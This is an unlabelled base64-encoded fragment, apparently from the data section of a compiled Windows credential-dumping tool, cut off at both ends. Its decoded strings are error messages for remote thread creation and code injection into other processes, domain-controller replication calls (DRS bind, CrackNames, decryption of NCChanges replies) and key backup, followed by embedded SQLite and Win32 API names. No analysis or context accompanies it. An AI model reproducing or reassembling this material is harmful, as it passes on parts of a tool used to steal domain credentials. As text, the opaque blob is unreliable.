pAHQAaABBAGwAbABvAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAQwBvAG0AcABvAHMAZQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBEAGUAYwBvAGQAZQAgADsAIABNAGUAcwBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAUgBlAHMAZQB0ADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAATQBlAHMARABlAGMAbwBkAGUASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAEMAcgBlAGEAdABlADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBGAHIAZQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBGAHIAZQBlACAAOwAgAE0AZQBzAEQAZQBjAG8AZABlAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBDAHIAZQBhAHQAZQA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEUAbgBjAG8AZABlACAAOwAgAE0AZQBzAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBSAGUAcwBlAHQAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBFAG4AYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAFAAcgBvAHQAZQBjAHQAZQBkAFMAdABvAHIAYQBnAGUAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABCAGEAYwBrAHUAcAByAEsAZQB5ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIABTAGkAegBlACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAJQAwADIAeAAgAAAAMAB4ACUAMAAyAHgALAAgAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAKAH0AOwAKAAAAAAAlAHMAIAAAACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBlAHIAAAAAAEcAcgBvAHUAcAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAEwAYQBiAGUAbAAAAHUAbgBrACEAAAAAAFQAbwBrAGUAbgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBDAHIAZQBhAHQAZQBBAG4AZABJAG4AaQB0AEQATwBNACAAOwAgAEMAbwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEwAbwBhAGQAWABNAEwARgBpAGwAZQAgADsAIABJAFgATQBMAEQATwBNAEQAbwBjAHUAbQBlAG4AdABfAGwAbwBhAGQAOgAgADAAeAAlADAAOAB4AAoAAAAAADAAAAAxAAAAJUg6JU06JVMAAAAAY3VycmVudF90aW1lAAAAACVZLSVtLSVkAAAAAGN1cnJlbnRfZGF0ZQAAAAAlWS0lbS0lZCAlSDolTTolUwAAAGN1cnJlbnRfdGltZXN0YW1wAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOVUxMAAAAAChOVUxMKQAALgAAAAAAAAAAAAAAOTIyMzM3MjAzNjg1NDc3NTgwAABBUEkgY2FsbCB3aXRoICVzIGRhdGFiYXNlIGNvbm5lY3Rpb24gcG9pbnRlcgAAAAB1bm9wZW5lZAAAAABpbnZhbGlkAEFyZUZpbGVBcGlzQU5TSQBDaGFyTG93ZXJXAABDaGFyVXBwZXJXAABDbG9zZUhhbmRsZQBDcmVhdGVGaWxlQQBDcmVhdGVGaWxlVwBDcmVhdGVGaWxlTWFwcGluZ0EAAENyZWF0ZUZpbGVNYXBwaW5nVwAAQ3JlYXRlTXV0ZXhXAAAAAERlbGV0ZUZpbGVBAERlbGV0ZUZpbGVXAEZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAEZpbGVUaW1lVG9TeXN0ZW1UaW1lAAAAAEZsdXNoRmlsZUJ1ZmZlcnMAAAAARm9ybWF0TWVzc2FnZUEAAEZvcm1hdE1lc3NhZ2VXAABGcmVlTGlicmFyeQBHZXRDdXJyZW50UHJvY2Vzc0lkAEdldERpc2tGcmVlU3BhY2VBAAAAR2V0RGlza0ZyZWVTcGFjZVcAAABHZXRGaWxlQXR0cmlidXRlc0EAAEdldEZpbGVBdHRyaWJ1dGVzVwAAR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAAAAR2V0RmlsZVNpemUAR2V0RnVsbFBhdGhOYW1lQQAAAABHZXRGdWxsUGF0aE5hbWVXAAAAAEdldExhc3RFcnJvcgAAAABHZXRQcm9jQWRkcmVzc0EAR2V0U3lzdGVtSW5mbwAAAEdldFN5c3RlbVRpbWUAAABHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBHZXRUZW1wUGF0aEEAAAAAR2V0VGVtcFBhdGhXAAAAAEdldFRpY2tDb3VudAAAAABHZXRWZXJzaW9uRXhBAAAAR2V0VmVyc2lvbkV4VwAAAEhlYXBBbGxvYwAAAEhlYXBDcmVhdGUAAEhlYXBEZXN0cm95AEhlYXBGcmVlAAAAAEhlYXBSZUFsbG9jAEhlYXBTaXplAAAAAEhlYXBWYWxpZGF0ZQAAAABIZWFwQ29tcGFjdABMb2FkTGlicmFyeUEAAAAATG9hZExpYnJhcnlXAAAAAExvY2FsRnJlZQAAAExvY2tGaWxlAAAAAExvY2tGaWxlRXgAAE1hcFZpZXdPZkZpbGUAAABNdWx0aUJ5dGVUb1dpZGVDaGFyAFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAFJlYWRGaWxlAAAAAFNldEVuZE9mRmlsZQAAAABTZXRGaWxlUG9pbnRlcgAAU2xlZXAAAABTeXN0ZW1UaW1lVG9GaWxlVGltZQAAAABVbmxvY2tGaWxlAABVbmxvY2tGaWxlRXgAAAAAVW5tYXBWaWV3T2ZGaWxlAFdpZGVDaGFyVG9NdWx0aUJ5dGUAV3JpdGVGaWxlAAAAQ3JlYXRlRXZlbnRFeFcAAFdhaXRGb3JTaW5nbGVPYmplY3QAV2FpdEZvclNpbmdsZU9iamVjdEV4AAAAU2V0RmlsZVBvaW50ZXJFeAAAAABHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZUV4AAAAAE1hcFZpZXdPZkZpbGVGcm9tQXBwAAAAAENyZWF0ZUZpbGUyAExvYWRQYWNrYWdlZExpYnJhcnkAR2V0VGlja0NvdW50NjQAAEdldE5hdGl2ZVN5c3RlbUluZm8AT3V0cHV0RGVidWdTdHJpbmdBAABPdXRwdXREZWJ1Z1N0cmluZ1cAAEdldFByb2Nlc3NIZWFwAABDcmVhdGVGaWxlTWFwcGluZ0Zyb21BcHAAAAAASW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2UAAFV1aWRDcmVhdGUAAFV1aWRDcmVhdGVTZXF1ZW50aWFsAAAAAEZsdXNoVmlld09mRmlsZQBPc0Vycm9yIDB4JWx4ICglbHUpACVzAABvc193aW4uYzolZDogKCVsdSkgJXMoJXMpIC0gJXMAAGRlbGF5ZWQgJWRtcyBmb3IgbG9jay9zaGFyaW5nIGNvbmZsaWN0IGF0IGxpbmUgJWQAAAB3aW5TZWVrRmlsZQB3aW5DbG9zZQAAAAB3aW5SZWFkAHdpbldyaXRlMQAAAHdpbldyaXRlMgAAAHdpblRydW5jYXRlMQAAAAB3aW5UcnVuY2F0ZTIAAAAAd2luU3luYzEAAAAAd2luU3luYzIAAAAAd2luRmlsZVNpemUAd2luVW5sb2NrUmVhZExvY2sAAAB3aW5VbmxvY2sAAAB3aW5Vbm1hcGZpbGUxAAAAd2luVW5tYXBmaWxlMgAAAHdpbk1hcGZpbGUxAHdpbk1hcGZpbGUyAGV0aWxxc18Ad2luR2V0VGVtcG5hbWUxAHdpbkdldFRlbXBuYW1lMgB3aW5HZXRUZW1wbmFtZTMAd2luR2V0VGVtcG5hbWU0AHdpbkdldFRlbXBuYW1lNQB3aW5PcGVuAHBzb3cAAAAAd2luRGVsZXRlAAAAd2luQWNjZXNzAAAAJXMlYyVzAAB3aW5GdWxsUGF0aG5hbWUxAAAAAHdpbkZ1bGxQYXRobmFtZTIAAAAAd2luRnVsbFBhdGhuYW1lMwAAAAB3aW5GdWxsUGF0aG5hbWU0AAAAAHdpbjMyAAAAd2luMzItbG9uZ3BhdGgAAHJlY292ZXJlZCAlZCBwYWdlcyBmcm9tICVzAAAtam91cm5hbAAAAABub2xvY2sAAGltbXV0YWJsZQAAAG91dCBvZiBtZW1vcnkAAAAlbGxkAAAAACUhLjE1ZwAALQAAACVzJXMAAAAAJXMtbWpYWFhYWFg5WFh6AE1KIGRlbGV0ZTogJXMAAABNSiBjb2xsaWRlOiAlcwAALW1qJTA2WDklMDJYAAAAAEFQSSBjYWxsZWQgd2l0aCBmaW5hbGl6ZWQgcHJlcGFyZWQgc3RhdGVtZW50AAAAAEFQSSBjYWxsZWQgd2l0aCBOVUxMIHByZXBhcmVkIHN0YXRlbWVudABzdHJpbmcgb3IgYmxvYiB0b28gYmlnAAB1bmFibGUgdG8gdXNlIGZ1bmN0aW9uICVzIGluIHRoZSByZXF1ZXN0ZWQgY29udGV4dAAAYmluZCBvbiBhIGJ1c3kgcHJlcGFyZWQgc3RhdGVtZW50OiBbJXNdAE5PVCBOVUxMAAAAAFVOSVFVRQAAQ0hFQ0sAAABGT1JFSUdOIEtFWQAlcyBjb25zdHJhaW50IGZhaWxlZAAAAAAlejogJXMAAGFib3J0IGF0ICVkIGluIFslc106ICVzAGNhbm5vdCBvcGVuIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABubyBzdWNoIHNhdmVwb2ludDogJXMAAABjYW5ub3QgcmVsZWFzZSBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAGNhbm5vdCBjb21taXQgdHJhbnNhY3Rpb24gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAY2Fubm90IHN0YXJ0IGEgdHJhbnNhY3Rpb24gd2l0aGluIGEgdHJhbnNhY3Rpb24AY2Fubm90IHJvbGxiYWNrIC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAABjYW5ub3QgY29tbWl0IC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAGRhdGFiYXNlIHNjaGVtYSBoYXMgY2hhbmdlZABzcWxpdGVfbWFzdGVyAAAAAAAAAFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gJyVxJy4lcyBXSEVSRSAlcyBPUkRFUiBCWSByb3dpZABzdGF0ZW1lbnQgYWJvcnRzIGF0ICVkOiBbJXNdICVzAG1pc3VzZSBvZiBhbGlhc2VkIGFnZ3JlZ2F0ZSAlcwAAbm8gc3VjaCBjb2x1bW4AAGFtYmlndW91cyBjb2x1bW4gbmFtZQAAACVzOiAlcy4lcy4lcwAAAAAlczogJXMuJXMAAAAlczogJXMAAHBhcnRpYWwgaW5kZXggV0hFUkUgY2xhdXNlcwBpbmRleCBleHByZXNzaW9ucwAAACVzIHByb2hpYml0ZWQgaW4gJXMAdGhlICIuIiBvcGVyYXRvcgAAAABmdW5jdGlvbnMAAABzZWNvbmQgYXJndW1lbnQgdG8gbGlrZWxpaG9vZCgpIG11c3QgYmUgYSBjb25zdGFudCBiZXR3ZWVuIDAuMCBhbmQgMS4wAABub24tZGV0ZXJtaW5pc3RpYyBmdW5jdGlvbnMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZSBmdW5jdGlvbiAlLipzKCkAbm8gc3VjaCBmdW5jdGlvbjogJS4qcwAAd3JvbmcgbnVtYmVyIG9mIGFyZ3VtZW50cyB0byBmdW5jdGlvbiAlLipzKCkAAAAAc3